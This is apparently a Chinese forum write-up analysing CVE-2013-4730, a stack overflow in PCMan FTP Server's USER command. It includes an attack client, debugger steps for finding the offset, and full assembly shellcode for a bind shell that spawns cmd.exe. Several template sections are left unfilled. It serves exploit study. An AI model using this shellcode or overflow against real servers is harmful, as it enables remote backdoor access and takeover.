一、漏洞信息 1. 漏洞简述
漏洞名称: 漏洞编号:(CVE-2013-4730) 漏洞类型:(远程溢出) 漏洞影响:(远程代码执行) CVSS评分:(7) 利用难度:Medium 基础权限:不需要(是否需要普通用户权限)
2. 组件概述 FTP Server 服务器是一种专供其他电脑检索文件和存储的特殊电脑。文件服务器通常比一般的个人电脑拥有更大的存储容量,并具有一些其他的功能,如磁盘镜像 、多个网络接口卡、热备援多电源供应器 。到后来,文件服务器逐渐进化成带有RAID(Redundant Array of Independent Disk)存储子系统和其他高可用特性的高性能系统。
该应用:
這是由國內知名BBS連線軟體PCMan作者個人製作的免費簡易FTP架站軟體,專門針對初學者設計,特色是讓不熟電腦的人也能夠輕易架設FTP站。快速輕巧,操作簡單的簡易全 ...,教你幾分鐘內學會架簡易個人FTP站,和好友分享檔案.使用PCMan'sFTPServer輕鬆快速架設FTP站(作者:國立陽明大學醫學系洪任諭) ...,首先下載要用來架設FTP站的軟體,這裡我推薦我設計的軟體PCMan'sFTPServer(按這裡下載),這是專門針對初學者設計的全中文免費...
3. 漏洞利用
与FTP服务器发生交互,发送登录请求,即可引发栈溢出漏洞,导致攻击者可以远程执行任何命令。
4. 漏洞影响
PCMan FTP Server 2.0.7版本;
WindowsXP x86
5. 解决方案
官方的安全更新方案,给出链接。
二、漏洞复现
1. 环境搭建
WIn7_SP1_X86操作系统,windbg、mona2
2. 复现过程
分1,2,3步骤详述漏洞的复现过程。
三、漏洞分析
1. 基本信息
漏洞文件:存在漏洞的具体文件名 漏洞函数:存在漏洞的具体函数名 漏洞对象:触发漏洞的结构或其他数据对象
2. 背景知识
该部分内容主要简介漏洞分析过程中所使用到的相关知识,丰富程度由个人决定。
3. 详细分析
1. 基础分析
文件信息
首先通过前置信息得到,该应用在接受FTP user登陆命令时产生问题,我们需要在攻击机中编写程序发送请求。
WSADATA stWSA;
WSAStartup(0x2020, &stWSA);
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stService;
stService.sin_addr.S_un.S_addr = inet_addr("192.168.17.174");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
char szRecv[0x100] = { 0 };
char * pCommand = "USER anonymous";
recv(stListen, szRecv, sizeof(szRecv), 0);
send(stListen, cExpolit2, strlen(cExpolit2), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
closesocket(stListen);
WSACleanup();
得到回应。
加大登录字符串数量,使用mona生成3000个fuzz字符串cexploit1,
断点以后,通过!py mona po 溢出点,计算溢出偏移。
构造字串验证溢出点可靠性。
查看堆栈,确认已经被溢出,尝试在此之前进行下断点。查看函数调用栈。
ba w4 0012ed64 ".if(poi(0012ed64 )==0x90909090){}.else{gc}" 问题:该条件断点失效;
下断点 ba w4 0012ed64单步找到;
查看调用栈kb;00417428 ;00412ced ;00403eeb ;
找到附近函数。
2. 静态分析
1. 函数调用链
2. 补丁Diff
...
3. 漏洞函数分析
在上一环节我们找到附近函数0x4173af;将其置于ida中进行分析。重点分析,
首先找到0x4173af;
明显这是一个写入char操作,不会出现问题;
在调用sprintf函数,这个函数存在风险,再上一步;
清除看到使用sprintf格式化输出,给定了buff[2048],但是并没有判定v5,a2,长度,
猜测 v5为 user a2为携带进来的字符串,并且该长度与我们的溢出点 2009极为接近。
3. 动态分析
再函数附近下断点,
a2为第八个参数,所以找到0032dec0 ;可以看到,
这一切和刚才都相对应。那么下一次中断就为覆盖栈操作,
那么该点可以进行利用
4. 利用思路
这是一个典型的栈溢出漏洞,采取跳板指令跳转到payload,执行行为,本次尝试利用该漏洞开启后门。
1. 利用条件
虚拟机需要关闭dep,数据执行保护选项;使得栈中数据可执行。
2. 利用过程 首先获取跳板指令;
编写payload
__asm
{
SUB ESP, 0x20
push ebp
mov ebp, esp
sub esp, 0x10
JMP tag_Shellcode
_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
// [tag_Next-0x1D] "ws2_32.dll\0"
_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// [tag_Next-0x12] "kernel32.dll\0"
_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x00)
tag_Shellcode:
// 1. GetPC
CALL tag_Next
tag_Next :
pop ebx
mov[ebp - 0x04], ebx
mov esi, dword ptr fs : [0x30]
mov esi, [esi + 0x0C]
mov esi, [esi + 0x1C]
mov esi, [esi]
mov edx, [esi + 0x08]
push edx
push 0xC0D83287
call fun_GetFunAddrByHash
mov edi, eax
lea esi, [ebx - 0x12]
push 0
push 0
push esi
call edi
mov[ebp - 0x08], eax
lea esi, [ebx - 0x1D]
push 0
push 0
push esi
call edi
mov[ebp - 0x0C], eax
push[ebp - 0x0C]
push[ebp - 0x08]
push[ebp - 0x04]
call fun_Payload
push[ebp - 0x08]
push 0x4FD18963
call fun_GetFunAddrByHash
push 0
call eax
mov esp, ebp
pop ebp
fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
push ebp
mov ebp, esp
sub esp, 0x0C
push edx
// 1. 获取EAT、ENT与EOT的地址
mov edx, [ebp + 0x0C]
mov esi, [edx + 0x3C]
lea esi, [edx + esi]
mov esi, [esi + 0x78]
lea esi, [edx + esi]
mov edi, [esi + 0x1C]
lea edi, [edx + edi]
mov[ebp - 0x04], edi
mov edi, [esi + 0x20]
lea edi, [edx + edi]
mov[ebp - 0x08], edi
mov edi, [esi + 0x24]
lea edi, [edx + edi]
mov[ebp - 0x0C], edi
xor ecx, ecx
jmp tag_FirstCmp
tag_CmpFunNameLoop :
inc ecx
tag_FirstCmp :
mov esi, [ebp - 0x08]
mov esi, [esi + 4 * ecx]
mov edx, [ebp + 0x0C]
lea esi, [edx + esi]
push[ebp + 0x08]
push esi
call fun_Hash_CmpString
test eax, eax
jz tag_CmpFunNameLoop
mov esi, [ebp - 0x0C]
xor edi, edi
mov di, [esi + ecx * 2]
mov edx, [ebp - 0x04]
mov esi, [edx + edi * 4]
mov edx, [ebp + 0x0C]
lea eax, [edx + esi]
pop edx
mov esp, ebp
pop ebp
retn 0x08
fun_Hash_CmpString:
push ebp
mov ebp, esp
sub esp, 0x04
mov dword ptr[ebp - 0x04], 0x00
push ebx
push ecx
push edx
mov esi, [ebp + 0x08]
xor ecx, ecx
xor eax, eax
tag_HashLoop :
mov al, [esi + ecx]
test al, al
jz tag_HashEnd
mov ebx, [ebp - 0x04]
shl ebx, 0x19
mov edx, [ebp - 0x04]
shr edx, 0x07
or ebx, edx
add ebx, eax
mov[ebp - 0x04], ebx
inc ecx
jmp tag_HashLoop
tag_HashEnd :
mov ebx, [ebp + 0x0C]
mov edx, [ebp - 0x04]
xor eax, eax
cmp ebx, edx
jne tag_FunEnd
mov eax, 1
tag_FunEnd:
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
retn 0x08
fun_Payload: // (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
push ebp
mov ebp, esp
sub esp, 0x300
// 1. 初始化Winsock服务
push[ebp + 0x10]
push 0x80B46A3D
call fun_GetFunAddrByHash
lea esi, [ebp - 0x300]
push esi
push 0x0202
call eax
test eax, eax
jnz tag_PaloadEnd
// 2. 创建一个原始套接字
push[ebp + 0x10]
push 0xDE78322D
call fun_GetFunAddrByHash
push 0
push 0
push 0
push 6
push 1
push 2
call eax
mov[ebp - 0x04], eax
push[ebp + 0x10]
push 0xDDA71064
call fun_GetFunAddrByHash
mov word ptr[ebp - 0x200], 0x02
mov word ptr[ebp - 0x1FE], 0xEB05
mov dword ptr[ebp - 0x1FC], 0
lea esi, [ebp - 0x200]
push 0x14
push esi
push[ebp - 0x04]
call eax
test eax, eax
jnz tag_PaloadEnd
push[ebp + 0x10]
push 0x4BD39F0C
call fun_GetFunAddrByHash
push 0x7FFFFFFF
push[ebp - 0x04]
call eax
test eax, eax
jnz tag_PaloadEnd
// 5. 接受一个连接
push[ebp + 0x10]
push 0x01971EB1
call fun_GetFunAddrByHash
push 0
push 0
push[ebp - 0x04]
call eax
mov[ebp - 0x04], eax
push[ebp + 0x0C]
push 0x6BA6BCC9
call fun_GetFunAddrByHash
mov edx, eax
lea edi, [ebp - 0x90]
mov ecx, 0x11
mov eax, 0x00
cld
rep stosd
mov dword ptr[ebp - 0x90], 0x00000044
mov dword ptr[ebp - 0x64], 0x00000100
mov word ptr[ebp - 0x60], 0x0000
mov esi, [ebp - 0x04]
mov dword ptr[ebp - 0x58], esi
mov dword ptr[ebp - 0x54], esi
mov dword ptr[ebp - 0x50], esi
lea esi, [ebp - 0x90]
lea edi, [ebp - 0x200]
mov ebx, [ebp + 0x08]
lea ebx, [ebx - 0x25]
push edi
push esi
push 0
push 0
push 0
push 1
push 0
push 0
push ebx
push 0
call edx
tag_PaloadEnd :
mov esp, ebp
pop ebp
retn 0x0C
} 构建shellcode
在实际中,出现0x00;0x0a;0x0d;阻碍过程,编写简单加密器去除坏字符。
利用成功;
3. 攻击向量
...
四、缓解措施
对输入字符串进行有效验证
五、参考文献
oday2;
漏洞利用教材;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-5-5 13:53
被john_大白编辑
,原因: